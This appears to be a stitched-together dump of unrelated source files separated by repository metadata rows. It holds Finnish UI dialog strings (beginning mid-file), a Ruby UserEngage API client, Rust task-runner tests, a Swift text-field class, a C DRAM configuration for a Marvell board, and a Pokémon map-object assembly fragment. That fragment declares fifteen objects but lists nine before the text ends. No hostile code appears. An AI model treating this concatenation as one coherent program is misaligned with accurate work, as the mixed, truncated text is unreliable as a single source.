defaultMessage: 'Haluatko palauttaa julkaistun tulostettavan lomakkeen luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PrintableChannel.WithdrawDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PrintableChannel.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun tulostettavan lomakkeen luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PrintableChannel.RestoreDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.SERVICELOCATIONFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ServiceLocationChannel.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida palvelupaikan?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ServiceLocationChannel.ArchiveDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot arkistoidaan.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ServiceLocationChannel.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun palvelupaikan luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ServiceLocationChannel.WithdrawDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ServiceLocationChannel.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun palvelupaikan luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ServiceLocationChannel.RestoreDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.WEBPAGEFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.WebPageChannel.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida verkkosivun?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.WebPageChannel.ArchiveDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot arkistoidaan.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.WebPageChannel.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun verkkosivun luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.WebPageChannel.WithdrawDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.WebPageChannel.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun verkkosivun luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.WebPageChannel.RestoreDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.GENERALDESCRIPTIONFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.GeneralDescription.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida pohjakuvauksen?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.GeneralDescription.ArchiveDialog.Text',
defaultMessage: 'Kaikki tiedot ja kieliversiot arkistoidaan. Liitos pohjakuvaukseen poistuu niiltä palveluita, joissa se on ollut käytössä.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.GeneralDescription.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun pohjakuvauksen luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.GeneralDescription.WithdrawDialog.Text',
defaultMessage: 'Kaikki pohjakuvauksen tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.GeneralDescription.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun pohjakuvauksen luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.GeneralDescription.RestoreDialog.Text',
defaultMessage: 'Kaikki pohjakuvauksen tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.ORGANIZATIONFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Organization.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida organisaation?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Organization.ArchiveDialog.Text',
defaultMessage: 'Kaikki organisaation tiedot ja kieliversiot arkistoidaan. Tässä pitäisi varmaan kertoa myös, mihin muuhun tällä on vaikutusta?'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Organization.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun organisaation luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Organization.WithdrawDialog.Text',
defaultMessage: 'Kaikki organisaation tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan. Tässä pitäisi varmaan kertoa myös, mihin muuhun tällä on vaikutusta?'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Organization.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun organisaation luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Organization.RestoreDialog.Text',
defaultMessage: 'Kaikki organisaation tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
}
}
| 43.988636 | 199 | 0.722488 |
05b53598e7a861c91f8832bbb4ac226d402b2d7c
| 2,136 |
rb
|
Ruby
|
lib/user_engage/client.rb
|
CompanyMood/user_engage-ruby
|
6e804d463c0d5d451febc2f0ab97e5d80b1c7ee6
|
[
"MIT"
] | 3 |
2018-02-03T21:53:36.000Z
|
2020-10-16T02:56:09.000Z
|
lib/user_engage/client.rb
|
CompanyMood/user_engage-ruby
|
6e804d463c0d5d451febc2f0ab97e5d80b1c7ee6
|
[
"MIT"
] | 6 |
2018-08-10T09:00:24.000Z
|
2018-10-26T10:31:17.000Z
|
lib/user_engage/client.rb
|
CompanyMood/user_engage-ruby
|
6e804d463c0d5d451febc2f0ab97e5d80b1c7ee6
|
[
"MIT"
] | 1 |
2018-07-25T19:33:35.000Z
|
2018-07-25T19:33:35.000Z
|
# frozen_string_literal: true
require 'faraday'
module UserEngage
class Client
######################
## Instance methods ##
######################
def initialize(configuration)
@configuration = configuration
end
# Public: Calls the base_url with the given path and parameters
#
def get(path, parameters = {})
request(:get, path, parameters)
end
# Public: Calls the base_url with the given path and parameters
#
def delete(path)
request(:delete, path)
end
# Public: Calls the base_url with the given path and parameters
#
def post(path, parameters = {})
request(:post, path, parameters)
end
# Public: Calls the base_url with the given path and parameters
#
def put(path, parameters = {})
request(:put, path, parameters)
end
#####################
## Private methods ##
#####################
private
def connection
Faraday.new(url: host)
end
def request(method, action_path, parameters = nil)
path = action_path.match?(/^https?/) ?
action_path :
"api/public#{action_path}"
%i[post put patch].include?(method) ?
json_body_call(method, path, parameters) :
path_params_call(method, path, parameters)
end
def path_params_call(method, path, parameters)
connection.public_send(method, path, parameters) do |request|
request.headers['Authorization'] = "Token #{@configuration.token}"
request.headers['Content-Type'] = 'application/json'
request.headers['User-Agent'] = "UserEngage-Ruby/#{UserEngage::VERSION}"
end
end
def json_body_call(method, path, parameters)
connection.public_send(method, path) do |request|
request.headers['Authorization'] = "Token #{@configuration.token}"
request.headers['Content-Type'] = 'application/json'
request.headers['User-Agent'] = "UserEngage-Ruby/#{UserEngage::VERSION}"
request.body = parameters.to_json
end
end
def host
@configuration.host || 'https://app.userengage.com/'
end
end
end
| 27.037975 | 80 | 0.6147 |
6226ebe4eb3e97ea82df528e03c6e361d0b237a2
| 3,869 |
rs
|
Rust
|
tests/integration_tests.rs
|
victorjoh/console-runner
|
1b9ad65a60abc6c38172d07a66738263cbc04891
|
[
"MIT"
] | null | null | null |
tests/integration_tests.rs
|
victorjoh/console-runner
|
1b9ad65a60abc6c38172d07a66738263cbc04891
|
[
"MIT"
] | null | null | null |
tests/integration_tests.rs
|
victorjoh/console-runner
|
1b9ad65a60abc6c38172d07a66738263cbc04891
|
[
"MIT"
] | null | null | null |
use console_runner::{common::*, tasks::*};
use spectral::prelude::*;
const TASK_RUNNER: TaskRunner = TaskRunner {
thread_count: 1,
view_update_period: 0,
};
#[test]
fn the_result_of_a_task_is_passed_to_the_view() {
let mut view = StoreToMemory::new();
let task = SimpleTask {
name: "my name",
run_task: || Ok(Some(String::from("5"))),
};
TASK_RUNNER.run(vec![Box::from(task)], &mut view);
assert_that(&view.task_updates).is_equal_to(vec![
a_status("my name", Status::Running),
a_status("my name", Status::Finished(Some(String::from("5")))),
]);
}
#[test]
fn when_a_task_prints_something_it_is_passed_to_the_view() {
let mut view = StoreToMemory::new();
let task = SimpleTask {
name: "my name",
run_task: || {
print!("Hello!");
Ok(None)
},
};
TASK_RUNNER.run(vec![Box::from(task)], &mut view);
assert_that(&view.task_updates).is_equal_to(vec![
a_status("my name", Status::Running),
a_message("my name", "Hello!"),
a_status("my name", Status::Finished(None)),
]);
}
#[test]
fn when_a_task_panics_it_is_passed_to_the_view() {
let mut view = StoreToMemory::new();
let task = SimpleTask {
name: "my name",
run_task: || panic!("Aargh!"),
};
TASK_RUNNER.run(vec![Box::from(task)], &mut view);
assert_that(&view.task_updates).has_length(3);
let panic_message = extract_message(&view.task_updates[1]);
assert_that(&panic_message).starts_with("thread '<unnamed>' panicked at 'Aargh!'");
assert_that(&view.task_updates[2]).is_equal_to(a_status(
"my name",
Status::Failed(String::from("Aborting task since thread panicked")),
))
}
fn extract_message(update: &TaskUpdate) -> &str {
match &update.change {
TaskChange::TaskMessage(message) => return &message,
_ => panic!("The update was not a log message: <{:?}>", update),
}
}
#[test]
fn many_tasks_are_run_in_order() {
let mut view = StoreToMemory::new();
let first_task = SimpleTask {
name: "first task",
run_task: || Err(String::from("failure")),
};
let second_task = SimpleTask {
name: "second task",
run_task: || Ok(None),
};
TASK_RUNNER.run(
vec![Box::from(first_task), Box::from(second_task)],
&mut view,
);
assert_that(&view.task_updates).is_equal_to(vec![
a_status("first task", Status::Running),
a_status("first task", Status::Failed(String::from("failure"))),
a_status("second task", Status::Running),
a_status("second task", Status::Finished(None)),
]);
}
fn a_status(name: &str, status: Status) -> TaskUpdate {
TaskUpdate {
task_name: String::from(name),
change: TaskChange::TaskStatus(status),
}
}
fn a_message(name: &str, message: &str) -> TaskUpdate {
TaskUpdate {
task_name: String::from(name),
change: TaskChange::TaskMessage(String::from(message)),
}
}
struct SimpleTask<'a> {
name: &'a str,
run_task: fn() -> TaskResult,
}
impl<'a> Task for SimpleTask<'a> {
fn run(&self, _: &dyn Logger) -> TaskResult {
let run_task = self.run_task;
run_task()
}
fn name(&self) -> TaskName {
String::from(self.name)
}
}
enum ViewMethod {
Initialize,
Update,
}
struct StoreToMemory {
tasks: Vec<TaskName>,
task_updates: Vec<TaskUpdate>,
}
impl StoreToMemory {
fn new() -> StoreToMemory {
StoreToMemory {
tasks: Vec::new(),
task_updates: Vec::new(),
}
}
}
impl View for StoreToMemory {
fn initialize(&mut self, tasks: Vec<TaskName>) {
self.tasks = tasks;
}
fn update(&mut self, task_update: TaskUpdate) {
self.task_updates.push(task_update);
}
}
| 25.123377 | 87 | 0.601447 |
f27de4c4b72822949f9e7cc9b870f9fb15d1217d
| 2,451 |
swift
|
Swift
|
restaurant-app/Foodify/Foodify/Components/CustomTextField/CustomTextField.swift
|
samedbcr/foodify-app
|
85b84b626ba352c6bcdf94bde2dab32ee85cfeba
|
[
"PostgreSQL",
"Unlicense"
] | 1 |
2021-09-15T14:40:59.000Z
|
2021-09-15T14:40:59.000Z
|
restaurant-app/Foodify/Foodify/Components/CustomTextField/CustomTextField.swift
|
samedbcr/foodify-app
|
85b84b626ba352c6bcdf94bde2dab32ee85cfeba
|
[
"PostgreSQL",
"Unlicense"
] | null | null | null |
restaurant-app/Foodify/Foodify/Components/CustomTextField/CustomTextField.swift
|
samedbcr/foodify-app
|
85b84b626ba352c6bcdf94bde2dab32ee85cfeba
|
[
"PostgreSQL",
"Unlicense"
] | 2 |
2021-08-22T22:52:31.000Z
|
2021-09-15T08:15:10.000Z
|
//
// CustomTextField.swift
// Foodify
//
// Created by Samed Biçer on 11.08.2021.
//
import UIKit
final class CustomTextField: UITextField {
private enum Constants {
static let leftPadding: CGFloat = 12
static let rightPadding: CGFloat = 40
}
let padding = UIEdgeInsets(top: 0, left: Constants.leftPadding, bottom: 0, right: Constants.rightPadding)
override init(frame: CGRect) {
super.init(frame: frame)
configure()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func configure() {
translatesAutoresizingMaskIntoConstraints = false
layer.cornerRadius = 6
layer.borderWidth = 0.5
layer.borderColor = UIColor.appDarkGray.cgColor
backgroundColor = .appMediumGray
font = UIFont(name: Fonts.poppinsRegular, size: 14)
textColor = .appDark
tintColor = .appDark
autocorrectionType = .no
returnKeyType = .done
attributedPlaceholder = NSAttributedString(string: "",
attributes: [NSAttributedString.Key.foregroundColor: UIColor.appDarkGray])
NSLayoutConstraint.activate([
heightAnchor.constraint(equalToConstant: 50)
])
}
func setup(with model: CustomTextFieldUIModel) {
keyboardType = model.keyboardType
if let icon = model.iconName {
rightViewMode = .always
let iconImage = UIImage(systemName: icon)
let rightImageView = UIImageView(image: iconImage)
rightImageView.tintColor = .appDarkGray
rightView = rightImageView
}
attributedPlaceholder = NSAttributedString(string: model.placeholder,
attributes: [NSAttributedString.Key.foregroundColor: UIColor.systemGray])
}
override func textRect(forBounds bounds: CGRect) -> CGRect {
return bounds.inset(by: padding)
}
override func placeholderRect(forBounds bounds: CGRect) -> CGRect {
return bounds.inset(by: padding)
}
override func editingRect(forBounds bounds: CGRect) -> CGRect {
return bounds.inset(by: padding)
}
override func rightViewRect(forBounds bounds: CGRect) -> CGRect {
var rect = super.rightViewRect(forBounds: bounds)
rect.origin.x += -12
return rect
}
}
| 31.025316 | 125 | 0.629539 |
b18e2c3edddc96fd6bdb995219f65a89b05ecc8e
| 9,518 |
c
|
C
|
plat/marvell/a8k-p/a8xxy/board/dram_port.c
|
x-speed-catdrive/atf-v1.5
|
711ecd32afe465b38052b5ba374c825b158eea18
|
[
"BSD-3-Clause"
] | 1 |
2022-01-08T21:03:32.000Z
|
2022-01-08T21:03:32.000Z
|
plat/marvell/a8k-p/a8xxy/board/dram_port.c
|
x-speed-catdrive/atf-v1.5
|
711ecd32afe465b38052b5ba374c825b158eea18
|
[
"BSD-3-Clause"
] | null | null | null |
plat/marvell/a8k-p/a8xxy/board/dram_port.c
|
x-speed-catdrive/atf-v1.5
|
711ecd32afe465b38052b5ba374c825b158eea18
|
[
"BSD-3-Clause"
] | 1 |
2022-01-08T20:59:01.000Z
|
2022-01-08T20:59:01.000Z
|
/*
* Copyright (C) 2017 Marvell International Ltd.
*
* SPDX-License-Identifier: BSD-3-Clause
* https://spdx.org/licenses
*/
#include <mv_ddr_if.h>
#include <mvebu_def.h>
#include <plat_marvell.h>
/* DB-88F8160-MODULAR has 4 DIMMs on board that are connected to
* AP2 I2C bus-0 at the following addresses:
* AP0 DIMM0 - 0x53
* AP0 DIMM1 - 0x54
* AP1 DIMM0 - 0x55
* AP1 DIMM1 - 0x56
*/
#define I2C_SPD_BASE_ADDR 0x53
#define I2C_SPD_DATA_ADDR(ap_id, iface) (I2C_SPD_BASE_ADDR + \
(ap_id * DDR_MAX_UNIT_PER_AP) + (iface))
#define I2C_SPD_P0_SEL_ADDR 0x36 /* Select SPD data page 0 */
#define MC_RAR_INTERLEAVE_SZ (128) /* Also possible to set to 4Kb */
uint32_t dram_rar_interleave(void)
{
return MC_RAR_INTERLEAVE_SZ;
}
/*
* This struct provides the DRAM training code with
* the appropriate board DRAM configuration
*/
struct mv_ddr_iface dram_iface_ap0[DDR_MAX_UNIT_PER_AP] = {
{
.state = MV_DDR_IFACE_NRDY,
.id = 0,
.spd_data_addr = I2C_SPD_DATA_ADDR(0, 0),
.spd_page_sel_addr = I2C_SPD_P0_SEL_ADDR,
.validation = MV_DDR_VAL_DIS,
.tm = {
/* MISL board with 1CS 8Gb x4 devices of Micron 2400T */
DEBUG_LEVEL_ERROR,
0x1, /* active interfaces */
/* cs_mask, mirror, dqs_swap, ck_swap X subphys */
{ { { {0x1, 0x0, 0, 0}, /* FIXME: change the cs mask for all 64 bit */
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0} },
/* TODO: double check if the speed bin is 2400T */
SPEED_BIN_DDR_2400T, /* speed_bin */
MV_DDR_DEV_WIDTH_8BIT, /* sdram device width */
MV_DDR_DIE_CAP_8GBIT, /* die capacity */
MV_DDR_FREQ_SAR, /* frequency */
0, 0, /* cas_l, cas_wl */
MV_DDR_TEMP_LOW} }, /* temperature */
MV_DDR_64BIT_ECC_PUP8_BUS_MASK, /* subphys mask */
MV_DDR_CFG_SPD, /* ddr configuration data source */
{ {0} }, /* raw spd data */
{0}, /* timing parameters */
{ /* electrical configuration */
{ /* memory electrical configuration */
MV_DDR_RTT_NOM_PARK_RZQ_DISABLE, /* rtt_nom */
{
MV_DDR_RTT_NOM_PARK_RZQ_DIV4, /* rtt_park 1cs */
MV_DDR_RTT_NOM_PARK_RZQ_DIV1 /* rtt_park 2cs */
},
{
MV_DDR_RTT_WR_DYN_ODT_OFF, /* rtt_wr 1cs */
MV_DDR_RTT_WR_RZQ_DIV2 /* rtt_wr 2cs */
},
MV_DDR_DIC_RZQ_DIV7 /* dic */
},
{ /* phy electrical configuration */
MV_DDR_OHM_30, /* data_drv_p */
MV_DDR_OHM_30, /* data_drv_n */
MV_DDR_OHM_30, /* ctrl_drv_p */
MV_DDR_OHM_30, /* ctrl_drv_n */
{
MV_DDR_OHM_60, /* odt_p 1cs */
MV_DDR_OHM_120 /* odt_p 2cs */
},
{
MV_DDR_OHM_60, /* odt_n 1cs */
MV_DDR_OHM_120 /* odt_n 2cs */
},
},
{ /* mac electrical configuration */
MV_DDR_ODT_CFG_NORMAL, /* odtcfg_pattern */
MV_DDR_ODT_CFG_ALWAYS_ON, /* odtcfg_write */
MV_DDR_ODT_CFG_NORMAL /* odtcfg_read */
},
},
},
},
{
.state = MV_DDR_IFACE_NRDY,
.id = 1,
.spd_data_addr = I2C_SPD_DATA_ADDR(0, 1),
.spd_page_sel_addr = I2C_SPD_P0_SEL_ADDR,
.validation = MV_DDR_VAL_DIS,
.tm = {
/* MISL board with 1CS 8Gb x4 devices of Micron 2400T */
DEBUG_LEVEL_ERROR,
0x1, /* active interfaces */
/* cs_mask, mirror, dqs_swap, ck_swap X subphys */
{ { { {0x1, 0x0, 0, 0}, /* FIXME: change the cs mask for all 64 bit */
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0} },
/* TODO: double check if the speed bin is 2400T */
SPEED_BIN_DDR_2400T, /* speed_bin */
MV_DDR_DEV_WIDTH_8BIT, /* sdram device width */
MV_DDR_DIE_CAP_8GBIT, /* die capacity */
MV_DDR_FREQ_SAR, /* frequency */
0, 0, /* cas_l, cas_wl */
MV_DDR_TEMP_LOW} }, /* temperature */
MV_DDR_64BIT_ECC_PUP8_BUS_MASK, /* subphys mask */
MV_DDR_CFG_SPD, /* ddr configuration data source */
{ {0} }, /* raw spd data */
{0}, /* timing parameters */
{ /* electrical configuration */
{ /* memory electrical configuration */
MV_DDR_RTT_NOM_PARK_RZQ_DISABLE, /* rtt_nom */
{
MV_DDR_RTT_NOM_PARK_RZQ_DIV4, /* rtt_park 1cs */
MV_DDR_RTT_NOM_PARK_RZQ_DIV1 /* rtt_park 2cs */
},
{
MV_DDR_RTT_WR_DYN_ODT_OFF, /* rtt_wr 1cs */
MV_DDR_RTT_WR_RZQ_DIV2 /* rtt_wr 2cs */
},
MV_DDR_DIC_RZQ_DIV7 /* dic */
},
{ /* phy electrical configuration */
MV_DDR_OHM_30, /* data_drv_p */
MV_DDR_OHM_30, /* data_drv_n */
MV_DDR_OHM_30, /* ctrl_drv_p */
MV_DDR_OHM_30, /* ctrl_drv_n */
{
MV_DDR_OHM_60, /* odt_p 1cs */
MV_DDR_OHM_120 /* odt_p 2cs */
},
{
MV_DDR_OHM_60, /* odt_n 1cs */
MV_DDR_OHM_120 /* odt_n 2cs */
},
},
{ /* mac electrical configuration */
MV_DDR_ODT_CFG_NORMAL, /* odtcfg_pattern */
MV_DDR_ODT_CFG_ALWAYS_ON, /* odtcfg_write */
MV_DDR_ODT_CFG_NORMAL /* odtcfg_read */
},
},
},
},
};
struct mv_ddr_iface dram_iface_ap1[DDR_MAX_UNIT_PER_AP] = {
{
.state = MV_DDR_IFACE_NRDY,
.id = 0,
.spd_data_addr = I2C_SPD_DATA_ADDR(1, 0),
.spd_page_sel_addr = I2C_SPD_P0_SEL_ADDR,
.validation = MV_DDR_VAL_DIS,
.tm = {
/* MISL board with 1CS 8Gb x4 devices of Micron 2400T */
DEBUG_LEVEL_ERROR,
0x1, /* active interfaces */
/* cs_mask, mirror, dqs_swap, ck_swap X subphys */
{ { { {0x1, 0x0, 0, 0}, /* FIXME: change the cs mask for all 64 bit */
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0} },
/* TODO: double check if the speed bin is 2400T */
SPEED_BIN_DDR_2400T, /* speed_bin */
MV_DDR_DEV_WIDTH_8BIT, /* sdram device width */
MV_DDR_DIE_CAP_8GBIT, /* die capacity */
MV_DDR_FREQ_SAR, /* frequency */
0, 0, /* cas_l, cas_wl */
MV_DDR_TEMP_LOW} }, /* temperature */
MV_DDR_64BIT_ECC_PUP8_BUS_MASK, /* subphys mask */
MV_DDR_CFG_SPD, /* ddr configuration data source */
{ {0} }, /* raw spd data */
{0}, /* timing parameters */
{ /* electrical configuration */
{ /* memory electrical configuration */
MV_DDR_RTT_NOM_PARK_RZQ_DISABLE, /* rtt_nom */
{
MV_DDR_RTT_NOM_PARK_RZQ_DIV4, /* rtt_park 1cs */
MV_DDR_RTT_NOM_PARK_RZQ_DIV1 /* rtt_park 2cs */
},
{
MV_DDR_RTT_WR_DYN_ODT_OFF, /* rtt_wr 1cs */
MV_DDR_RTT_WR_RZQ_DIV2 /* rtt_wr 2cs */
},
MV_DDR_DIC_RZQ_DIV7 /* dic */
},
{ /* phy electrical configuration */
MV_DDR_OHM_30, /* data_drv_p */
MV_DDR_OHM_30, /* data_drv_n */
MV_DDR_OHM_30, /* ctrl_drv_p */
MV_DDR_OHM_30, /* ctrl_drv_n */
{
MV_DDR_OHM_60, /* odt_p 1cs */
MV_DDR_OHM_120 /* odt_p 2cs */
},
{
MV_DDR_OHM_60, /* odt_n 1cs */
MV_DDR_OHM_120 /* odt_n 2cs */
},
},
{ /* mac electrical configuration */
MV_DDR_ODT_CFG_NORMAL, /* odtcfg_pattern */
MV_DDR_ODT_CFG_ALWAYS_ON, /* odtcfg_write */
MV_DDR_ODT_CFG_NORMAL /* odtcfg_read */
},
},
},
},
{
.state = MV_DDR_IFACE_NRDY,
.id = 1,
.spd_data_addr = I2C_SPD_DATA_ADDR(1, 1),
.spd_page_sel_addr = I2C_SPD_P0_SEL_ADDR,
.validation = MV_DDR_VAL_DIS,
.tm = {
/* MISL board with 1CS 8Gb x4 devices of Micron 2400T */
DEBUG_LEVEL_ERROR,
0x1, /* active interfaces */
/* cs_mask, mirror, dqs_swap, ck_swap X subphys */
{ { { {0x1, 0x0, 0, 0}, /* FIXME: change the cs mask for all 64 bit */
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0},
{0x1, 0x0, 0, 0} },
/* TODO: double check if the speed bin is 2400T */
SPEED_BIN_DDR_2400T, /* speed_bin */
MV_DDR_DEV_WIDTH_8BIT, /* sdram device width */
MV_DDR_DIE_CAP_8GBIT, /* die capacity */
MV_DDR_FREQ_SAR, /* frequency */
0, 0, /* cas_l, cas_wl */
MV_DDR_TEMP_LOW} }, /* temperature */
MV_DDR_64BIT_ECC_PUP8_BUS_MASK, /* subphys mask */
MV_DDR_CFG_SPD, /* ddr configuration data source */
{ {0} }, /* raw spd data */
{0}, /* timing parameters */
{ /* electrical configuration */
{ /* memory electrical configuration */
MV_DDR_RTT_NOM_PARK_RZQ_DISABLE, /* rtt_nom */
{
MV_DDR_RTT_NOM_PARK_RZQ_DIV4, /* rtt_park 1cs */
MV_DDR_RTT_NOM_PARK_RZQ_DIV1 /* rtt_park 2cs */
},
{
MV_DDR_RTT_WR_DYN_ODT_OFF, /* rtt_wr 1cs */
MV_DDR_RTT_WR_RZQ_DIV2 /* rtt_wr 2cs */
},
MV_DDR_DIC_RZQ_DIV7 /* dic */
},
{ /* phy electrical configuration */
MV_DDR_OHM_30, /* data_drv_p */
MV_DDR_OHM_30, /* data_drv_n */
MV_DDR_OHM_30, /* ctrl_drv_p */
MV_DDR_OHM_30, /* ctrl_drv_n */
{
MV_DDR_OHM_60, /* odt_p 1cs */
MV_DDR_OHM_120 /* odt_p 2cs */
},
{
MV_DDR_OHM_60, /* odt_n 1cs */
MV_DDR_OHM_120 /* odt_n 2cs */
},
},
{ /* mac electrical configuration */
MV_DDR_ODT_CFG_NORMAL, /* odtcfg_pattern */
MV_DDR_ODT_CFG_ALWAYS_ON, /* odtcfg_write */
MV_DDR_ODT_CFG_NORMAL /* odtcfg_read */
},
},
},
},
};
/* Pointer to the first DRAM interface in the system */
struct mv_ddr_iface *ptr_iface = &dram_iface_ap0[0];
| 31.104575 | 73 | 0.598865 |
b8d3a9cfe2b58e2eade14a5cc90103b9c14d2ed2
| 1,946 |
asm
|
Assembly
|
data/mapObjects/SaffronCity.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9 |
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
data/mapObjects/SaffronCity.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7 |
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
data/mapObjects/SaffronCity.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2 |
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
SaffronCity_Object:
db $f ; border block
db 8 ; warps
warp 7, 5, 0, COPYCATS_HOUSE_1F
warp 26, 3, 0, FIGHTING_DOJO
warp 34, 3, 0, SAFFRON_GYM
warp 13, 11, 0, SAFFRON_PIDGEY_HOUSE
warp 25, 11, 0, SAFFRON_MART
warp 18, 21, 0, SILPH_CO_1F
warp 9, 29, 0, SAFFRON_POKECENTER
warp 29, 29, 0, MR_PSYCHICS_HOUSE
db 10 ; signs
sign 17, 5, 16 ; SaffronCityText16
sign 27, 5, 17 ; SaffronCityText17
sign 35, 5, 18 ; SaffronCityText18
sign 26, 11, 19 ; MartSignText
sign 39, 19, 20 ; SaffronCityText20
sign 5, 21, 21 ; SaffronCityText21
sign 15, 21, 22 ; SaffronCityText22
sign 10, 29, 23 ; PokeCenterSignText
sign 27, 29, 24 ; SaffronCityText24
sign 1, 19, 25 ; SaffronCityText25
db 15 ; objects
object SPRITE_ROCKET, 7, 6, STAY, NONE, 1 ; person
object SPRITE_ROCKET, 20, 8, WALK, 2, 2 ; person
object SPRITE_ROCKET, 34, 4, STAY, NONE, 3 ; person
object SPRITE_ROCKET, 13, 12, STAY, NONE, 4 ; person
object SPRITE_ROCKET, 11, 25, WALK, 2, 5 ; person
object SPRITE_ROCKET, 32, 13, WALK, 2, 6 ; person
object SPRITE_ROCKET, 18, 30, WALK, 2, 7 ; person
object SPRITE_OAK_AIDE, 8, 14, WALK, 0, 8 ; person
object SPRITE_LAPRAS_GIVER, 23, 23, STAY, NONE, 9 ; person
